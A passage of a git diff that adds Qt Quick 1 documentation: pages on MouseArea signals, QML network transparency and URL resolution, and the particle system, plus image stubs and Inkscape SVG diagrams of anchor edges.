+The MouseArea element provides
+\l{QML Signal and Handler Event System}{signals and handlers} to detect different
+mouse events. The \l MouseArea element documentation describes these
+gestures in greater detail:
+
+\list
+\o canceled
+\o clicked
+\o doubleClicked
+\o entered
+\o exited
+\o positionChanged
+\o pressAndHold
+\o pressed
+\o released
+\endlist
+
+These signals have signal handlers that are invoked when the signals are emitted.
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml mouse handlers
+
+\section1 Enabling Gestures
+Some mouse gestures and button clicks need to be enabled before they send or
+receive events. Certain \l MouseArea and \l MouseEvent properties enable these
+gestures.
+
+To listen to (or explicitly ignore) a certain mouse button, set the appropriate
+mouse button to the \l {MouseArea::acceptedButtons}{acceptedButtons} property.
+
+Naturally, the mouse events, such as button presses and mouse positions, are
+sent during a mouse click. For example, the \c containsMouse property will only
+retrieve its correct value during a mouse press. The
+\l {MouseArea::hoverEnabled}{hoverEnabled} will enable mouse events and
+positioning even when there are no mouse button presses. Setting the
+\c hoverEnabled property to \c true, in turn will enable the \c entered,
+\c exited, and \c positionChanged signal and their respective signal handlers.
+
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml enable handlers
+Additionally, to disable the whole mouse area, set the \c MouseArea
+element's \c enabled property to \c false.
+
+\section1 MouseEvent Object
+
+Signals and their handlers receive a \l MouseEvent object as a parameter. The
+\c mouse object contain information about the mouse event. For example, the
+mouse button that started the event is queried through the
+\l {MouseEvent::button}{mouse.button} property.
+
+The \c MouseEvent object can also ignore a mouse event using its \c accepted
+property.
+
+\section2 Accepting Further Signals
+Many of the signals are sent multiple times to reflect various mouse events
+such as double clicking. To facilitate the classification of mouse clicks, the
+MouseEvent object has an \c accepted property to disable the event propagation.
+
+To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document.
+*/
diff --git a/doc/src/qtquick1/network.qdoc b/doc/src/qtquick1/network.qdoc
new file mode 100644
index 0000000000..f04d198506
--- /dev/null
+++ b/doc/src/qtquick1/network.qdoc
@@ -0,0 +1,159 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativenetwork.html
+\ingroup qml-features
+\previouspage {Dynamic Object Management in QML}{Dynamic Object Management}
+\nextpage {QML Internationalization}{Internationalization}
+\contentspage QML Features
+\title Network Transparency
+
+QML supports network transparency by using URLs (rather than file names) for all
+references from a QML document to other content:
+
+\qml
+Image {
+ source: "http://www.example.com/images/logo.png"
+}
+\endqml
+
+Since a \e relative URL is the same
+as a relative file, development of QML on regular file systems remains simple:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+Network transparency is supported throughout QML, for example:
+
+\list
+\o Fonts - the \c source property of FontLoader is a URL
+\o WebViews - the \c url property of WebView (obviously!)
+\endlist
+
+Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load
+\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
+will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
+For example if the qmldir file contains the line "World World.qml", it will load
+\tt http://example.com/mystuff/World.qml
+Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
+similarly be loaded from the network.
+
+
+\section1 Relative vs. Absolute URLs
+
+Whenever an object has a property of type URL (QUrl), assigning a string to that
+property will actually assign an absolute URL - by resolving the string against
+the URL of the document where the string is used.
+
+For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
+but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
+\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
+
+If the string assigned to a URL is already an absolute URL, then "resolving" does
+not change it and the URL is assigned directly.
+
+
+\section1 Progressive Loading
+
+Because of the declarative nature of QML and the asynchronous nature of network resources,
+objects which reference network resource generally change state as the network resource loads.
+For example, an Image with a network source will initially have
+a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0.
+While the content loads, the \c progress will increase until
+the content is fully loaded from the network,
+at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0.
+Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply
+bind to the \c width and \c height as if the content was a local file, adapting as those bound values change.
+
+Note that when objects reference local files they immediately have the \c Ready status, but applications wishing
+to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O
+to improve performance.
+
+
+\section1 Accessing Network Services
+
+QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended
+entirely for accessing network services, which usually respond with references to
+content by URLs that can then be used directly in QML. For example, using these facilities
+to access an on-line photography service would provide the QML application with URLs to
+photographs, which can be directly set on an \l Image \c source property.
+
+See the \tt examples/declarative/flickr for a real demonstration of this.
+
+
+\section1 Configuring the Network Access Manager
+
+All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML.
+By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by
+providing a QDeclarativeNetworkAccessManagerFactory and setting it via
+QDeclarativeEngine::setNetworkAccessManagerFactory().
+For example, the \l {QML Viewer} sets a QDeclarativeNetworkAccessManagerFactory which
+creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks,
+allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings.
+
+
+\section1 QRC Resources
+
+One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
+the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
+that is compiled into the executable:
+
+\code
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setUrl(QUrl("qrc:/dial.qml"));
+\endcode
+
+The content itself can then use relative URLs, and so be transparently unaware that the content is
+compiled into the executable.
+
+
+\section1 Limitations
+
+The \c import statement is only network transparent if it has an "as" clause.
+
+More specifically:
+\list
+\o \c{import "dir"} only works on local file systems
+\o \c{import libraryUri} only works on local file systems
+\o \c{import "dir" as D} works network transparently
+\o \c{import libraryUrl as U} works network transparently
+\endlist
+
+
+*/
diff --git a/doc/src/qtquick1/particles.qdoc b/doc/src/qtquick1/particles.qdoc
new file mode 100644
index 0000000000..9f1da69eb8
--- /dev/null
+++ b/doc/src/qtquick1/particles.qdoc
@@ -0,0 +1,116 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \qmlmodule QtQuick.Particles 2
+ \title QML Module QtQuick.Particles 2
+
+ \brief Elements for the Qt Quick particle system
+
+ This QML module contains a particle system for Qt Quick.
+
+ For a simple overview of how the system can be used, see \l{qml-particles.html}{Using the Qt Quick Particle System}.
+
+*/
+
+/*!
+ \page qml-particlesystem.html
+ \title Using the Qt Quick Particle System
+
+ \section1 The ParticleSystem
+ This particle system contains four main types of QML Elements: ParticleSystem, Painters, Emitters and Affectors.
+
+ The ParticleSystem element ties all the other elements together, and manages the shared timeline. Painters, Emitters
+ and Affectors must all have the same ParticleSystem to be able to interact with each other.
+
+ You may have as many ParticleSystems as you want subject to this constraint, so the logical separation is to have
+ one ParticleSystem for all the elements that you want to interact, or just one if the number of elements is small
+ and they are easily kept under control..
+
+ \section1 Logical Particles
+ All the particle system elements act on "logical particles". Every particle has a logical representation inside
+ the particle system, and this is what the elements act upon. Not every logical particle needs to be visualized,
+ and some logical particles could lead to multiple visual particles being drawn on screen.
+ \section1 Particle Groups
+ Every logical particle is a member of a particle group, and each group is identified by a name. If no other
+ group has been specified, a logical particle belongs to the group with the name "" (the empty string), which
+ acts the same as any other group. Groups are used for two purposes, for controlling particles and because they
+ can have stochastic state transitions.
+
+ Groups control particles because you can never access an individual particle with any of the particle system
+ elements. All elements act on groups as a whole, and so any particles that need to behave differently from each
+ other (aside from the usual stochastic parameter variation) will need to be in different groups.
+
+ Particles can also change groups dynamically. When this happens the particles trajectory is unaltered, but it
+ can be acted upon by different ParticlePainters or Affectors. Particles can either have their state changed by
+ an Affector, or stochastic state transitions can be defined in the group definition (in the particleStates property).
+ Generally, groups should only be defined in that property if they require stochastic state transitions. Otherwise,
+ it is sufficient to have the groups be defined simply by the strings used in the particle/particles properties
+ of the elements.
+
+ \section1 Emitters
+ Emitters emit logical particles into the system. These particles have a trajectory and lifespan, but no visualization.
+ These particles are emitted from the location of the Emitter.
+
+ FollowEmitters are a special type of emitter which emits particles from the location of other logicial particles. Any logical
+ particle of the followed type within the bounds of a FollowEmitter will cause particle emission from its location, as if there
+ were an Emitter on it with the same properties as the FollowEmitter.
+
+ \section1 ParticlePainters
+ Painters are the elements that visualize logical particles. For each logical particle in the groups assigned to it,
+ which are within its bounds (or outside, if you do not set the clip property on the element) it will be visualized
+ in a manner dependant on the type of ParticlePainter. The base type of ParticlePainter does not draw anything.
+ ImageParticle renders an image at the particle location. CustomParticle allows you to write your own shaders to render
+ the particles, passing in the logical particle state as vertex data. ItemParticle allows you to visualize logical
+ particles using arbitrary QML delegates. ModelParticle is similar, but coordinates model data amongst the delegates
+ in a similar manner to the view classes.
+
+ As the ParticlePainter is the QML element visualizing the particles in the scene, it is its Z value which is important
+ when trying to place particles above or below other elements visually.
+
+ \section1 Affectors
+ Affectors are an optional component of a particle system. They can perform a variety of manipulations to the simulation,
+ such as altering the trajectory of particles or prematurely ending their life in the simulation. For performance reasons,
+ it is recommended not to use Affectors in high-volume particle systems.
+
+ \section1 Stochastic Parameters
+ As particle systems benefit from stochastic control of parameters across a large number of instances, several stochastic
+ helper types are used by the particle system. If you do not wish to have any stochastic variation in these parameters,
+ then do not specify any variation in these elements.
+
+ \section2 Directions
+ Directions can be specified by angle and magnitude, or by x and y components. While any direction can be specified with
+ either method, there is a significant difference between varying the x and y components and varying the angle and magnitude.
+ Varying the x and y components will lead to a rectangular area around the specified point, while varying the angle will lead
+ to an arc centered on the specfied point.
+
+ \section2 Shapes
+ The particle system contains several elements which represent shapes. These elements do not visualize shapes, and are used
+ for the purpose of selecting a random point within the shape. If you want a specific point with no randomness, use a 0 width
+ and 0 height shape (which is the default). Otherwise you can use the shape elements provides to specify an area, so that the
+ result can use a random point selected from that area.
+*/
diff --git a/doc/src/qtquick1/pics/3d-axis.png b/doc/src/qtquick1/pics/3d-axis.png
new file mode 100644
index 0000000000..1a587ffd28
--- /dev/null
+++ b/doc/src/qtquick1/pics/3d-axis.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/3d-rotation-axis.png b/doc/src/qtquick1/pics/3d-rotation-axis.png
new file mode 100644
index 0000000000..b9402156f0
--- /dev/null
+++ b/doc/src/qtquick1/pics/3d-rotation-axis.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/BorderImage.png b/doc/src/qtquick1/pics/BorderImage.png
new file mode 100644
index 0000000000..651dd8aa76
--- /dev/null
+++ b/doc/src/qtquick1/pics/BorderImage.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/ListViewHighlight.png b/doc/src/qtquick1/pics/ListViewHighlight.png
new file mode 100644
index 0000000000..02bf51dabf
--- /dev/null
+++ b/doc/src/qtquick1/pics/ListViewHighlight.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/ListViewHorizontal.png b/doc/src/qtquick1/pics/ListViewHorizontal.png
new file mode 100644
index 0000000000..4633a0e151
--- /dev/null
+++ b/doc/src/qtquick1/pics/ListViewHorizontal.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/ListViewVertical.png b/doc/src/qtquick1/pics/ListViewVertical.png
new file mode 100644
index 0000000000..e0b23d95e1
--- /dev/null
+++ b/doc/src/qtquick1/pics/ListViewVertical.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/anatomy-component.png b/doc/src/qtquick1/pics/anatomy-component.png
new file mode 100644
index 0000000000..6125b0091c
--- /dev/null
+++ b/doc/src/qtquick1/pics/anatomy-component.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/anchorchanges.png b/doc/src/qtquick1/pics/anchorchanges.png
new file mode 100644
index 0000000000..4973e4e9aa
--- /dev/null
+++ b/doc/src/qtquick1/pics/anchorchanges.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/anchors.svg b/doc/src/qtquick1/pics/anchors.svg
new file mode 100644
index 0000000000..08b00ed6e3
--- /dev/null
+++ b/doc/src/qtquick1/pics/anchors.svg
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg1910"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/anchors_example2.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="anchors.svg">
+ <defs
+ id="defs1912" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="1.979899"
+ inkscape:cx="431.57095"
+ inkscape:cy="413.38853"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1386"
+ inkscape:window-height="971"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata1915">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.52033526;stroke-miterlimit:4;stroke-dasharray:1.04067054, 0.52033527;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect2807"
+ width="36.245155"
+ height="32.204544"
+ x="390.23157"
+ y="574.62024" />
+ <rect
+ style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.44547796;stroke-miterlimit:4;stroke-dasharray:0.89095592, 0.44547796;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect2809"
+ width="59.048447"
+ height="14.601732"
+ x="430.82993"
+ y="574.9483" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="399.40982"
+ y="594.76312"
+ id="text3696"><tspan
+ sodipodi:role="line"
+ id="tspan3698"
+ x="399.40982"
+ y="594.76312">pic</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="445.84048"
+ y="586.5423"
+ id="text3700"><tspan
+ sodipodi:role="line"
+ id="tspan3702"
+ x="445.84048"
+ y="586.5423">label</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/animatedimageitem.gif b/doc/src/qtquick1/pics/animatedimageitem.gif
new file mode 100644
index 0000000000..85c3cb5609
--- /dev/null
+++ b/doc/src/qtquick1/pics/animatedimageitem.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/axisrotation.png b/doc/src/qtquick1/pics/axisrotation.png
new file mode 100644
index 0000000000..4cddcdfcaf
--- /dev/null
+++ b/doc/src/qtquick1/pics/axisrotation.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/blur_example.png b/doc/src/qtquick1/pics/blur_example.png
new file mode 100644
index 0000000000..763b11224a
--- /dev/null
+++ b/doc/src/qtquick1/pics/blur_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/content.png b/doc/src/qtquick1/pics/content.png
new file mode 100644
index 0000000000..47a98ac9a5
--- /dev/null
+++ b/doc/src/qtquick1/pics/content.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial1.png b/doc/src/qtquick1/pics/declarative-adv-tutorial1.png
new file mode 100644
index 0000000000..1699ab0e4d
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-adv-tutorial1.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial2.png b/doc/src/qtquick1/pics/declarative-adv-tutorial2.png
new file mode 100644
index 0000000000..ba27c442ce
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-adv-tutorial2.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial3.png b/doc/src/qtquick1/pics/declarative-adv-tutorial3.png
new file mode 100644
index 0000000000..d500434d14
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-adv-tutorial3.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif b/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif
new file mode 100644
index 0000000000..827458daa5
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-adv-tutorial4.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus1.png b/doc/src/qtquick1/pics/declarative-qmlfocus1.png
new file mode 100644
index 0000000000..fd05146d8a
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-qmlfocus1.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus2.png b/doc/src/qtquick1/pics/declarative-qmlfocus2.png
new file mode 100644
index 0000000000..a946e2c49f
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-qmlfocus2.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus3.png b/doc/src/qtquick1/pics/declarative-qmlfocus3.png
new file mode 100644
index 0000000000..ba55f76098
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-qmlfocus3.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/declarative-qmlfocus4.png b/doc/src/qtquick1/pics/declarative-qmlfocus4.png
new file mode 100644
index 0000000000..e21f2a6aa9
--- /dev/null
+++ b/doc/src/qtquick1/pics/declarative-qmlfocus4.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/dial-example.gif b/doc/src/qtquick1/pics/dial-example.gif
new file mode 100644
index 0000000000..4e90ba91c4
--- /dev/null
+++ b/doc/src/qtquick1/pics/dial-example.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/edge1.png b/doc/src/qtquick1/pics/edge1.png
new file mode 100644
index 0000000000..f4bc16d01f
--- /dev/null
+++ b/doc/src/qtquick1/pics/edge1.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edge2.png b/doc/src/qtquick1/pics/edge2.png
new file mode 100644
index 0000000000..71bda8eb0b
--- /dev/null
+++ b/doc/src/qtquick1/pics/edge2.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edge3.png b/doc/src/qtquick1/pics/edge3.png
new file mode 100644
index 0000000000..51bb894c3e
--- /dev/null
+++ b/doc/src/qtquick1/pics/edge3.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edge4.png b/doc/src/qtquick1/pics/edge4.png
new file mode 100644
index 0000000000..aee3bd109f
--- /dev/null
+++ b/doc/src/qtquick1/pics/edge4.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edges.png b/doc/src/qtquick1/pics/edges.png
new file mode 100644
index 0000000000..211b1019a4
--- /dev/null
+++ b/doc/src/qtquick1/pics/edges.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edges.svg b/doc/src/qtquick1/pics/edges.svg
new file mode 100644
index 0000000000..25698ca40f
--- /dev/null
+++ b/doc/src/qtquick1/pics/edges.svg
@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser"
+ sodipodi:docname="edges.svg">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733"
+ id="path2760" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956"
+ id="path3651" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.54242"
+ y="393.58627"
+ id="text3657"><tspan
+ sodipodi:role="line"
+ id="tspan3659"
+ x="258.54242"
+ y="393.58627"
+ style="font-size:10px">Top</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.78955"
+ y="412.28455"
+ id="text3661"><tspan
+ sodipodi:role="line"
+ id="tspan3663"
+ x="258.78955"
+ y="412.28455"
+ style="font-size:10px">VerticalCenter</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.18896"
+ y="433.27582"
+ id="text3665"><tspan
+ sodipodi:role="line"
+ id="tspan3667"
+ x="260.18896"
+ y="433.27582"
+ style="font-size:10px">Bottom</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="198.96443"
+ y="376.24954"
+ id="text3669"><tspan
+ sodipodi:role="line"
+ id="tspan3671"
+ x="198.96443"
+ y="376.24954"
+ style="font-size:10px">Left</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="230.55408"
+ y="375.39383"
+ id="text3673"><tspan
+ sodipodi:role="line"
+ id="tspan3675"
+ x="230.55408"
+ y="375.39383"
+ style="font-size:10px">Right</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="186.71951"
+ y="355.25827"
+ id="text3677"><tspan
+ sodipodi:role="line"
+ id="tspan3679"
+ x="186.71951"
+ y="355.25827"
+ style="font-size:10px">HorizontalCenter</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;marker-start:url(#Arrow1Mstart)"
+ d="M 224.2567,375.39382 C 227.40539,356.85154 227.75525,357.20139 227.75525,357.20139"
+ id="path3681" />
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/edges_examples.svg b/doc/src/qtquick1/pics/edges_examples.svg
new file mode 100644
